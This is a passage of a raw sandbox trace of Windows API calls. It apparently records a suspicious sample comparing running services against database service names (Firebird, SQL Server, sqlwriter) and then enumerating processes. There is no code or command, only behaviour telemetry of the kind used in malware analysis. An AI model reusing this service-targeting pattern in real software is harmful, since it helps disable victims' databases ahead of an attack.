(lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0039.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0039.374] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0039.374] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0039.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0039.374] lstrlenW (lpString="SamSs") returned 5 [0039.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0039.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0039.375] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0039.375] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0039.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0039.375] lstrlenW (lpString="Schedule") returned 8 [0039.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0039.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0039.375] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0039.375] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0039.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0039.375] lstrlenW (lpString="SecurityHealthService") returned 21 [0039.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0039.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0039.375] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0039.375] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0039.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0039.375] lstrlenW (lpString="SENS") returned 4 [0039.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0039.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0039.375] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0039.375] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0039.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0039.375] lstrlenW (lpString="ShellHWDetection") returned 16 [0039.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0039.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0039.375] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0039.375] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0039.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0039.375] lstrlenW (lpString="Spooler") returned 7 [0039.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0039.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0039.375] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0039.375] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0039.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0039.375] lstrlenW (lpString="StateRepository") returned 15 [0039.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0039.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0039.376] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0039.376] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0039.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0039.376] lstrlenW (lpString="SysMain") returned 7 [0039.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0039.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0039.376] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0039.376] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0039.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0039.376] lstrlenW (lpString="SystemEventsBroker") returned 18 [0039.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0039.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0039.376] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0039.376] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0039.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0039.376] lstrlenW (lpString="Themes") returned 6 [0039.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0039.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0039.376] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0039.376] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0039.376] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6efb70 | out: hHeap=0x690000) returned 1 [0039.376] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0039.382] Process32FirstW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0039.382] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0039.383] lstrlenW (lpString="System") returned 6 [0039.383] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0039.383] lstrlenW (lpString="smss.exe") returned 8 [0039.383] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0039.384] lstrlenW (lpString="csrss.exe") returned 9 [0039.384] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0039.385] lstrlenW (lpString="wininit.exe") returned 11 [0039.385] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0039.385] lstrlenW (lpString="csrss.exe") returned 9 [0039.385] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0039.386] lstrlenW (lpString="winlogon.exe") returned 12 [0039.386] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0039.387] lstrlenW (lpString="services.exe") returned 12 [0039.387] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0039.387] lstrlenW (lpString="lsass.exe") returned 9 [0039.387] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.388] lstrlenW (lpString="svchost.exe") returned 11 [0039.388] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0039.388] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0039.388] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0039.389] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0039.389] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.389] lstrlenW (lpString="svchost.exe") returned 11 [0039.390] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0039.390] lstrlenW (lpString="dwm.exe") returned 7 [0039.390] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.391] lstrlenW (lpString="svchost.exe") returned 11 [0039.391] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.391] lstrlenW (lpString="svchost.exe") returned 11 [0039.391] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.392] lstrlenW (lpString="svchost.exe") returned 11 [0039.392] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.393] lstrlenW (lpString="svchost.exe") returned 11 [0039.393] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.393] lstrlenW (lpString="svchost.exe") returned 11 [0039.394] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.394] lstrlenW (lpString="svchost.exe") returned 11 [0039.394] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.395] lstrlenW (lpString="svchost.exe") returned 11 [0039.395] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.395] lstrlenW (lpString="svchost.exe") returned 11 [0039.395] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.396] lstrlenW (lpString="svchost.exe") returned 11 [0039.396] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0039.397] lstrlenW (lpString="spoolsv.exe") returned 11 [0039.397] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.397] lstrlenW (lpString="svchost.exe") returned 11 [0039.397] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.398] lstrlenW (lpString="svchost.exe") returned 11 [0039.398] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0039.398] lstrlenW (lpString="audiodg.exe") returned 11 [0039.398] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0039.399] lstrlenW (lpString="sihost.exe") returned 10 [0039.399] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.400] lstrlenW (lpString="svchost.exe") returned 11 [0039.400] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0039.400] lstrlenW (lpString="taskhostw.exe") returned 13 [0039.400] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0039.401] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0039.401] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0039.401] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0039.401] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0039.402] lstrlenW (lpString="explorer.exe") returned 12 [0039.402] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0039.403] lstrlenW (lpString="Memory Compression") returned 18 [0039.403] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0039.403] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0039.403] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0039.404] lstrlenW (lpString="SearchUI.exe") returned 12 [0039.404] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0039.404] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0039.404] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0039.405] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0039.405] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0039.406] lstrlenW (lpString="taskhostw.exe") returned 13 [0039.406] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0039.406] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0039.406] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0039.407] lstrlenW (lpString="msoia.exe") returned 9 [0039.407] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0040.364] lstrlenW (lpString="UsoClient.exe") returned 13 [0040.367] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0040.367] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0040.367] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0040.368] lstrlenW (lpString="msoia.exe") returned 9 [0040.368] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0040.369] lstrlenW (lpString="taskhostw.exe") returned 13 [0040.369] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0040.370] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0040.370] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0040.370] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0040.371] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0040.371] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0040.372] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaverfireplacesubdivision.exe")) returned 1 [0040.372] lstrlenW (lpString="screensaverfireplacesubdivision.exe") returned 35 [0040.372] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arcobviously.exe")) returned 1 [0040.373] lstrlenW (lpString="arcobviously.exe") returned 16 [0040.373] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="preston disciplines.exe")) returned 1 [0040.374] lstrlenW (lpString="preston disciplines.exe") returned 23 [0040.374] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="boss.exe")) returned 1 [0040.375] lstrlenW (lpString="boss.exe") returned 8 [0040.375] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsimember.exe")) returned 1 [0040.375] lstrlenW (lpString="organizingscsimember.exe") returned 24 [0040.375] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing.exe")) returned 1 [0040.376] lstrlenW (lpString="placing.exe") returned 11 [0040.376] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="heroes.exe")) returned 1 [0040.377] lstrlenW (lpString="heroes.exe") returned 10 [0040.377] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="understoodaffectingbuddy.exe")) returned 1 [0040.378] lstrlenW (lpString="understoodaffectingbuddy.exe") returned 28 [0040.378] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="requirement moments.exe")) returned 1 [0040.379] lstrlenW (lpString="requirement moments.exe") returned 23 [0040.379] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, 